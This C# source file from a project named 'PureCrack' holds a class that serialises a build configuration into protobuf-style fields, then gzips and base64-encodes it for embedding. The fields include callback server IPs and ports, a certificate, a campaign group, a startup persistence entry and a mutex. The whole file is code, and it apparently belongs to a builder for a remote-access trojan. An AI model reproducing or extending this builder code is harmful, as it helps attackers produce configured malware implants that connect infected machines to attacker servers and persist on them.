71 lines
1.6 KiB
C#
71 lines
1.6 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using PureCrack.Crypto;
|
|
using PureCrack.Wire;
|
|
|
|
namespace PureCrack.Build;
|
|
|
|
public static class InnerProto
|
|
{
|
|
public const string Placeholder = "H4sIAAAAAAAACgMAAAAAAAAAAAA=";
|
|
|
|
public static byte[] EncodeGClass3(BuildConfig cfg)
|
|
{
|
|
List<byte[]> list = new List<byte[]>();
|
|
foreach (string ip in cfg.Ips)
|
|
{
|
|
list.Add(ProtoNet.FString(1, ip));
|
|
}
|
|
foreach (int port in cfg.Ports)
|
|
{
|
|
list.Add(ProtoNet.FInt(2, port));
|
|
}
|
|
if (!string.IsNullOrEmpty(cfg.CertPfxBase64))
|
|
{
|
|
list.Add(ProtoNet.FString(3, cfg.CertPfxBase64));
|
|
}
|
|
if (!string.IsNullOrEmpty(cfg.Group))
|
|
{
|
|
list.Add(ProtoNet.FString(4, cfg.Group));
|
|
}
|
|
list.Add(ProtoNet.FBool(5, cfg.B0));
|
|
list.Add(ProtoNet.FBool(6, cfg.B1));
|
|
if (!string.IsNullOrEmpty(cfg.StartupName))
|
|
{
|
|
list.Add(ProtoNet.FString(7, cfg.StartupName));
|
|
}
|
|
if (!string.IsNullOrEmpty(cfg.StartupEnv))
|
|
{
|
|
list.Add(ProtoNet.FString(8, cfg.StartupEnv));
|
|
}
|
|
if (!string.IsNullOrEmpty(cfg.Mutex))
|
|
{
|
|
list.Add(ProtoNet.FString(9, cfg.Mutex));
|
|
}
|
|
list.Add(ProtoNet.FBool(10, cfg.B2));
|
|
int num = 0;
|
|
foreach (byte[] item in list)
|
|
{
|
|
num += item.Length;
|
|
}
|
|
byte[] array = new byte[num];
|
|
int num2 = 0;
|
|
foreach (byte[] item2 in list)
|
|
{
|
|
Buffer.BlockCopy(item2, 0, array, num2, item2.Length);
|
|
num2 += item2.Length;
|
|
}
|
|
return array;
|
|
}
|
|
|
|
public static byte[] WrapAsGClass2(byte[] gclass3Body)
|
|
{
|
|
return ProtoNet.FSub(38, gclass3Body);
|
|
}
|
|
|
|
public static string EncodeAndPackage(BuildConfig cfg)
|
|
{
|
|
return Convert.ToBase64String(Symmetric.Gzip(WrapAsGClass2(EncodeGClass3(cfg))));
|
|
}
|
|
}
|